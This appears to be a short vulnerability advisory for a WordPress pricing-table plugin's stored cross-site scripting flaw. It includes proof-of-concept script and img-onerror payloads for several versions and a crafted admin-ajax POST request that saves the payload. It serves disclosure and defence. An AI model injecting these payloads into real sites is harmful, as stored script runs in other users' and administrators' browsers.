The label and data[html] POST parameter are not properly sanitised and escaped before being saved and output back in the page, leading to stored Cross-Site Scripting issues
v < 1.8.8 Enter the following payload into the "Edit" field in the top left corner: "><script>alert(1)</script><!--' The payload will execute when viewing the pricing table itself, and also in the "Show All Tables" section. Enter the following payload into the "Edit HTML" section in the top right corner: <script>alert(1)</script><!-- The payload will get stored and will execute everytime the user attempts to view the pricing table. v <= 1.8.8, use a payload such as aa<img src onerror=alert(/XSS/)> instead of the <script> one above v < 1.9.0, the edit HTML feature was removed client side but a crafted request could still be used: POST /wp-admin/admin-ajax.php HTTP/1.1 Host: example.com User-Agent: YOLO Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://example.com/wp-admin/admin.php?page=tables-supsystic&tab=tables_edit&id=8 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 142 Origin: https://example.com Connection: close Cookie: [admin cookies] mod=tables&action=save&pts_nonce=a33ab7d1d6&data%5Bid%5D=8&data%5Bhtml%5D=%3Cimg+src+onerror%3D%22alert(%2FXSS%2F)%22%3E%&pl=pts&reqType=ajax
2021-02-08 (about 1 years ago)
2021-02-08 (about 1 years ago)
2021-02-12 (about 1 years ago)